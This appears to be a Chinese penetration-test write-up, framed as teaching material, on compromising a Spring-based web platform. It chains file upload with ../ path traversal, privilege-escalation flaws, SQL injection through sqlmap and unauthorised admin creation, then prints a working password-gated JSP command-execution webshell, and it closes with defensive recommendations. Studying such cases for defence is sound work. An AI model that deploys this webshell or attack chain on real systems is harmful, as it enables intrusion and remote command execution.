某平台的一次简单渗透测试记录
字数 1425 2025-08-24 23:51:25
某平台渗透测试教学文档
目标系统
- 目标网站:www.target.net
- 系统框架:Spring框架
渗透测试流程
- 信息收集
- 目录扫描
- 漏洞探测
- 权限提升
- 获取控制
详细测试过程
1. 信息收集与目录扫描
- 使用目录扫描工具对目标进行扫描
- 发现敏感目录较少,信息有限
- 使用Burp Suite对网站流程进行全面抓包分析
2. 文件上传漏洞发现
- 发现图片上传接口:
/webapp/test/uploadFile/ - 测试发现:
- 无任何过滤措施,可直接上传任意文件
- 当前上传目录不解析上传的文件
- 通过
projectKey参数控制上传路径 - 存在目录遍历漏洞,可使用
../../../../进行跨目录上传
3. 越权访问漏洞
- 发现接口:
/detail.shtml?key={{id}} - 测试结果:
- 存在水平越权(相同权限用户可访问彼此数据)
- 无SQL注入漏洞
- 当参数为空时返回错误页面,暴露Spring框架信息
4. 敏感信息泄露
- 使用Spring相关接口路由字典进行扫描
- 发现以下敏感信息:
- Druid监控页面(但无未授权访问和弱口令漏洞)
- Swagger API文档
- 通过猜测参数
teamId可查看所有团队信息(越权访问)
5. SQL注入漏洞
- 在Swagger发现的接口中存在SQL注入
- 测试方法:
- 猜测参数名
- 单引号测试触发报错
- 使用SQLmap自动化利用
- 通过注入获取到:
- 网站接口配置信息
- 数据库信息(未找到管理员账号密码)
6. 越权添加用户
- 利用从SQL注入获取的接口信息
- 在Burp Suite中重放测试
- 发现可越权添加/编辑用户的接口
- 成功添加新管理员账号并登录系统
7. 任意文件上传利用
- 结合SQL注入获取的真实路径信息:
/usr/local/test/webapps/ROOT/WEB-INF/classes/mappings/base-mapper.xml - 修改
projectKey参数值,使用../../../../跨目录上传Webshell - 上传路径:网站根目录
8. Webshell选择问题
- 测试发现:
- 冰蝎、哥斯拉的Webshell无法正常解析
- 使用带密码回显的JSP马成功
- 成功Webshell代码示例:
<%
if("admin".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
关键知识点总结
-
文件上传漏洞利用:
- 注意上传路径控制参数
- 结合目录遍历漏洞实现任意文件上传
- 需要获取网站真实路径才能有效利用
-
越权访问测试:
- 水平越权(相同权限用户间)
- 垂直越权(低权限用户获取高权限功能)
- 参数删除/修改测试可暴露错误信息
-
SQL注入利用:
- 参数猜测技术
- 单引号测试法
- SQLmap自动化利用
- 通过注入获取系统配置信息
-
Webshell选择:
- 不同环境对Webshell的兼容性不同
- 简单回显型Webshell可能更可靠
- 密码保护防止被他人利用
-
信息收集重要性:
- 框架识别(Spring)
- 接口文档发现(Swagger)
- 监控页面发现(Druid)
- 真实路径获取是成功关键
防御建议
-
文件上传功能:
- 严格限制上传文件类型
- 使用随机生成文件名和路径
- 禁止目录遍历符号
-
权限控制:
- 实施严格的权限验证
- 对每个请求进行权限检查
- 避免水平越权
-
SQL注入防护:
- 使用预编译语句
- 实施参数化查询
- 输入验证和过滤
-
敏感信息保护:
- 限制Swagger等接口文档的访问
- 监控页面设置强认证
- 避免在错误信息中泄露系统细节
-
系统安全:
- 定期安全审计
- 最小权限原则
- 关键操作日志记录